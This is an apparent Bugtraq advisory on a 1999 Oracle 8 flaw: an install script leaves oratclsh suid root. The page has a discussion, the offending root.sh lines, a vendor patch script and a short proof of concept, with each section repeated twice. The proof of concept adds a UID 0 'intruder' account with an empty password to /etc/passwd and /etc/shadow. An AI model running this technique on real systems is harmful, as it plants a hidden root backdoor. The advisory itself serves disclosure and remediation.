Oracle 8 oratclsh Suid Vulnerability
BID:159
Info
Oracle 8 oratclsh Suid Vulnerability
| Bugtraq ID: | 159 |
| Class: | Configuration Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Apr 29 1999 12:00AM |
| Updated: | Apr 29 1999 12:00AM |
| Credit: | This vulnerability was made public by Dan Sugalski <[email protected]> to an Oracle mailing list. |
| Vulnerable: |
Oracle Oracle8i Standard Edition 8.1.5 Oracle Oracle8 8.0.5 .1 Oracle Oracle8 8.0.5 Oracle Oracle8 8.0.4 Oracle Oracle8 8.0.3 |
| Not Vulnerable: |
Oracle Oracle8 8.1.6 Oracle Oracle8 8.0.6 |
Discussion
Oracle 8 oratclsh Suid Vulnerability
Oracle8 is an enterprise level database. As part of the Internet Agent option installation process it installs the file $ORACLE_HOME/bin/oratclsh as suid root. oratclsh is a TCL application that provides full access to TCL. oratclsh gives anyone the ability to execute arbitrary TCL commands as root.
The suid root bit gets set when the post install script "root.sh" is executed as root as directed in the installation instructions. If the "root.sh" script is not executed as root after installing the Intelligent Agent the oratclsh will be owned by the installation user (typically oracle). Although not as degerous as suid root, a suid oracle oratclsh script would allow a malicious user to obtain full acess to the database.
The offending core in "root.sh":
# Setuid to root for oemagent executables
/bin/chown root /oracle/bin/dbsnmp
/bin/chmod u+s /oracle/bin/dbsnmp
/bin/chown root /oracle/bin/oratclsh
/bin/chmod u+s /oracle/bin/oratclsh
Oracle8 is an enterprise level database. As part of the Internet Agent option installation process it installs the file $ORACLE_HOME/bin/oratclsh as suid root. oratclsh is a TCL application that provides full access to TCL. oratclsh gives anyone the ability to execute arbitrary TCL commands as root.
The suid root bit gets set when the post install script "root.sh" is executed as root as directed in the installation instructions. If the "root.sh" script is not executed as root after installing the Intelligent Agent the oratclsh will be owned by the installation user (typically oracle). Although not as degerous as suid root, a suid oracle oratclsh script would allow a malicious user to obtain full acess to the database.
The offending core in "root.sh":
# Setuid to root for oemagent executables
/bin/chown root /oracle/bin/dbsnmp
/bin/chmod u+s /oracle/bin/dbsnmp
/bin/chown root /oracle/bin/oratclsh
/bin/chmod u+s /oracle/bin/oratclsh
Exploit / POC
Oracle 8 oratclsh Suid Vulnerability
./oratclsh
% set f [open "/etc/passwd" "a+"]
% puts $f "intruder:x:0:1:intruder:/tmp/intruder:/bin/sh"
% close $f
% set f [open "/etc/shadow" "a+"]
% puts $f "intruder::::::::"
% close $f
% exit
$ su - intruder
$ id
uid=0(root) gid=1(other)
./oratclsh
% set f [open "/etc/passwd" "a+"]
% puts $f "intruder:x:0:1:intruder:/tmp/intruder:/bin/sh"
% close $f
% set f [open "/etc/shadow" "a+"]
% puts $f "intruder::::::::"
% close $f
% exit
$ su - intruder
$ id
uid=0(root) gid=1(other)
Solution / Fix
Oracle 8 oratclsh Suid Vulnerability
Solution:
You can obtain a patch to fix this and other potential security vulnerabilities from Oracle MetaLink webpage at http://www.oracle.com/support/elec_sup. You will find the patch attached bellow.
You can also not install the Internet Agent option or turn off the suid bit in the oratclsh program manually. Oracle claims it will be fixed in Oracle8 8.1.6 and Oracle8 8.0.6.
-- cut here -- setuid_patch.sh
#!/bin/sh
#
# NAME
# setuid_patch.sh
#
# DESCRIPTION
# Provided as a patch to 8.0.X and 8.1.5 to fix bugs 701297, 714293.
# These bugs introduce a security hole by changing the permissions
# to affect the effective user id for executables which should not
# be set this way.
#
# PRECONDITIONS
# if ORACLE_HOME is not set, doesn't exist, or points to an
# invalid location, script exits.
#
# HOW TO USE
# This script must be run as the oracle user who installed the 8.0.3
# 8.0.4, 8.0.5 or 8.1.5 software.
#
# To run, change directories into the the directory that contains this
# file.
# % cd <patch_location_directory>
#
# Add execute permission to the patch.
# % chmod 744 setuid_patch.sh
#
# Then, invoke the script.
# % ./setuid_patch.sh
#
# MODIFIED (MM/DD/YY)
# menash 5/3/99 Initial creation
##---------------------
## VARIABLE DEFINITIONS
#-----------------------------
# potentially platform specific variables
CHMOD="/bin/chmod"
FIND="/bin/find"
CHMOD_S="$CHMOD -s" # remove set id bit
RM_F="/bin/rm -f"
LS_L="/bin/ls -l"
LS_N="/bin/ls -n" # gives uid number for owner
SED="/bin/sed"
AWK="/bin/awk"
GREP="/bin/grep"
GREP_C="$GREP -c"
GREP_V="$GREP -v"
MV="/bin/mv"
TMP_DIR="/tmp"
EXECS_TO_UNSET="lsnrctl oemevent onrsd osslogin tnslsnr tnsping trcasst trcroute
+cmctl cmadmin cmgw names namesctl otrccref otrcfmt otrcrep otrccol oracleO"
EXECS_NOT_TO_UNSET="oracle dbsnmp"
EXECS_TO_REMOVE="oratclsh osh"
LIKELY_SUFFIXES="0 O"
ROOT_SH_815="$ORACLE_HOME/root.sh"
ROOT_SH_805="$ORACLE_HOME/orainst/root.sh"
if [ x${ORACLE_HOME} = x ] -o [ ${ORACLE_HOME} = "" ] ; then
echo "ORACLE_HOME is either unset or empty."
echo "Exiting ..."
exit 1
fi
#--------------
# usage message
SCRIPTNAME=setuid_patch.sh
USAGE="Usage: $SCRIPTNAME [-h]"
if [ $# -gt 1 ] ; then
echo
echo $USAGE
exit 2
fi
##-----------#
## FUNCTIONS #
##-----------#
# ----------
# setuid_off
# Assumes executable is in $ORACLE_HOME/bin
#
# Usage: setuid_off <executable>
#------------
setuid_off () {
exe=$1
full_path_exe=$ORACLE_HOME/bin/$exe
if [ -r $full_path_exe ] ; then
perm=`$LS_L $full_path_exe | $SED 's;r-.*;;'`
if [ $perm = "-rws" ] ; then
$CHMOD_S $full_path_exe
echo " removing set-ID from $full_path_exe"
fi
fi
}
#-----------
# remove_exe
# Assumes executable is in $ORACLE_HOME/bin
# Removes if owned by root, otherwise, calls setuid_off
# Usage: remove_exe <executable>
remove_exe () {
full_path_exe=$ORACLE_HOME/bin/$1
if [ -r $full_path_exe ] ; then
owner=`$LS_N $full_path_exe | $AWK '{print $3}'`
if [ $owner = "0" ] ; then
$RM_F $full_path_exe
echo " removing $full_path_exe..."
else
setuid_off $1
fi
fi
}
#-----------
# search_for_others
#
# Finds other executables n $ORACLE_HOME/bin which have 4000, 6000,
# or 2000 permissions except for those we expects, and warns the
# user that they should be removed manually
# Usage: search_for_others
search_for_others () {
all_others="`$FIND $ORACLE_HOME/bin -perm -2000`"
others=""
if [ x"${all_others}" != x ] ; then
for other in $all_others; do
match="false"
for exe in $EXECS_NOT_TO_UNSET; do
if [ $other = $ORACLE_HOME/bin/$exe ] ; then
match="true"
fi
done
if [ $match = "false" ] ; then
others="$others $other"
fi
done
if [ x"${others}" != x ] ; then
echo "The following executables remain with set-ID."
echo "You may need to change the permissions manually:"
for executable in $others; do
echo " $executable"
done
fi
fi
}
#--------
# remove_from_root_sh
# For each parameter it is passed, remove_from_root_sh removes all
# lines with references to that string.
# Usage: remove_from_root_sh [ string1, string2, etc. ]
remove_from_root_sh () {
strings=$*
tmp_file="root.sh.$$"
$RM_F $TMP_DIR/$tmp_file
for string in $strings; do
if [ `$GREP_C $string $ROOT_SH` != "0" ] ; then
echo " removing $string from $ROOT_SH"
fi
$GREP_V $string $ROOT_SH > $TMP_DIR/$tmp_file
$MV $TMP_DIR/$tmp_file $ROOT_SH
done
}
################
# MAIN EXECUTION
################
# Turn setuid bit off for the appropriate executables and their
# likely backups
for exe in $EXECS_TO_UNSET; do
setuid_off $exe
for suf in $LIKELY_SUFFIXES; do
setuid_off $exe$suf
done
done
# Remove files entirely which should be removed
for exe in $EXECS_TO_REMOVE; do
remove_exe $exe
done
# Determine version -- 8.0.5 or 8.1.5
# Backup existing root.sh into root.sh.old, removing references
# to EXECS_TO_REMOVE
if [ -r $ROOT_SH_805 ] ; then
ROOT_SH=$ROOT_SH_805
else
if [ -r $ROOT_SH_815 ] ; then
ROOT_SH=$ROOT_SH_815
else
echo "No root.sh found in $ORACLE_HOME"
fi
fi
if [ x${ROOT_SH} != x ] ; then
remove_from_root_sh $EXECS_TO_REMOVE
fi
# Check one last time to see if any setuid executables are left
search_for_others
Solution:
You can obtain a patch to fix this and other potential security vulnerabilities from Oracle MetaLink webpage at http://www.oracle.com/support/elec_sup. You will find the patch attached bellow.
You can also not install the Internet Agent option or turn off the suid bit in the oratclsh program manually. Oracle claims it will be fixed in Oracle8 8.1.6 and Oracle8 8.0.6.
-- cut here -- setuid_patch.sh
#!/bin/sh
#
# NAME
# setuid_patch.sh
#
# DESCRIPTION
# Provided as a patch to 8.0.X and 8.1.5 to fix bugs 701297, 714293.
# These bugs introduce a security hole by changing the permissions
# to affect the effective user id for executables which should not
# be set this way.
#
# PRECONDITIONS
# if ORACLE_HOME is not set, doesn't exist, or points to an
# invalid location, script exits.
#
# HOW TO USE
# This script must be run as the oracle user who installed the 8.0.3
# 8.0.4, 8.0.5 or 8.1.5 software.
#
# To run, change directories into the the directory that contains this
# file.
# % cd <patch_location_directory>
#
# Add execute permission to the patch.
# % chmod 744 setuid_patch.sh
#
# Then, invoke the script.
# % ./setuid_patch.sh
#
# MODIFIED (MM/DD/YY)
# menash 5/3/99 Initial creation
##---------------------
## VARIABLE DEFINITIONS
#-----------------------------
# potentially platform specific variables
CHMOD="/bin/chmod"
FIND="/bin/find"
CHMOD_S="$CHMOD -s" # remove set id bit
RM_F="/bin/rm -f"
LS_L="/bin/ls -l"
LS_N="/bin/ls -n" # gives uid number for owner
SED="/bin/sed"
AWK="/bin/awk"
GREP="/bin/grep"
GREP_C="$GREP -c"
GREP_V="$GREP -v"
MV="/bin/mv"
TMP_DIR="/tmp"
EXECS_TO_UNSET="lsnrctl oemevent onrsd osslogin tnslsnr tnsping trcasst trcroute
+cmctl cmadmin cmgw names namesctl otrccref otrcfmt otrcrep otrccol oracleO"
EXECS_NOT_TO_UNSET="oracle dbsnmp"
EXECS_TO_REMOVE="oratclsh osh"
LIKELY_SUFFIXES="0 O"
ROOT_SH_815="$ORACLE_HOME/root.sh"
ROOT_SH_805="$ORACLE_HOME/orainst/root.sh"
if [ x${ORACLE_HOME} = x ] -o [ ${ORACLE_HOME} = "" ] ; then
echo "ORACLE_HOME is either unset or empty."
echo "Exiting ..."
exit 1
fi
#--------------
# usage message
SCRIPTNAME=setuid_patch.sh
USAGE="Usage: $SCRIPTNAME [-h]"
if [ $# -gt 1 ] ; then
echo
echo $USAGE
exit 2
fi
##-----------#
## FUNCTIONS #
##-----------#
# ----------
# setuid_off
# Assumes executable is in $ORACLE_HOME/bin
#
# Usage: setuid_off <executable>
#------------
setuid_off () {
exe=$1
full_path_exe=$ORACLE_HOME/bin/$exe
if [ -r $full_path_exe ] ; then
perm=`$LS_L $full_path_exe | $SED 's;r-.*;;'`
if [ $perm = "-rws" ] ; then
$CHMOD_S $full_path_exe
echo " removing set-ID from $full_path_exe"
fi
fi
}
#-----------
# remove_exe
# Assumes executable is in $ORACLE_HOME/bin
# Removes if owned by root, otherwise, calls setuid_off
# Usage: remove_exe <executable>
remove_exe () {
full_path_exe=$ORACLE_HOME/bin/$1
if [ -r $full_path_exe ] ; then
owner=`$LS_N $full_path_exe | $AWK '{print $3}'`
if [ $owner = "0" ] ; then
$RM_F $full_path_exe
echo " removing $full_path_exe..."
else
setuid_off $1
fi
fi
}
#-----------
# search_for_others
#
# Finds other executables n $ORACLE_HOME/bin which have 4000, 6000,
# or 2000 permissions except for those we expects, and warns the
# user that they should be removed manually
# Usage: search_for_others
search_for_others () {
all_others="`$FIND $ORACLE_HOME/bin -perm -2000`"
others=""
if [ x"${all_others}" != x ] ; then
for other in $all_others; do
match="false"
for exe in $EXECS_NOT_TO_UNSET; do
if [ $other = $ORACLE_HOME/bin/$exe ] ; then
match="true"
fi
done
if [ $match = "false" ] ; then
others="$others $other"
fi
done
if [ x"${others}" != x ] ; then
echo "The following executables remain with set-ID."
echo "You may need to change the permissions manually:"
for executable in $others; do
echo " $executable"
done
fi
fi
}
#--------
# remove_from_root_sh
# For each parameter it is passed, remove_from_root_sh removes all
# lines with references to that string.
# Usage: remove_from_root_sh [ string1, string2, etc. ]
remove_from_root_sh () {
strings=$*
tmp_file="root.sh.$$"
$RM_F $TMP_DIR/$tmp_file
for string in $strings; do
if [ `$GREP_C $string $ROOT_SH` != "0" ] ; then
echo " removing $string from $ROOT_SH"
fi
$GREP_V $string $ROOT_SH > $TMP_DIR/$tmp_file
$MV $TMP_DIR/$tmp_file $ROOT_SH
done
}
################
# MAIN EXECUTION
################
# Turn setuid bit off for the appropriate executables and their
# likely backups
for exe in $EXECS_TO_UNSET; do
setuid_off $exe
for suf in $LIKELY_SUFFIXES; do
setuid_off $exe$suf
done
done
# Remove files entirely which should be removed
for exe in $EXECS_TO_REMOVE; do
remove_exe $exe
done
# Determine version -- 8.0.5 or 8.1.5
# Backup existing root.sh into root.sh.old, removing references
# to EXECS_TO_REMOVE
if [ -r $ROOT_SH_805 ] ; then
ROOT_SH=$ROOT_SH_805
else
if [ -r $ROOT_SH_815 ] ; then
ROOT_SH=$ROOT_SH_815
else
echo "No root.sh found in $ORACLE_HOME"
fi
fi
if [ x${ROOT_SH} != x ] ; then
remove_from_root_sh $EXECS_TO_REMOVE
fi
# Check one last time to see if any setuid executables are left
search_for_others
References
Oracle 8 oratclsh Suid Vulnerability
References:
References: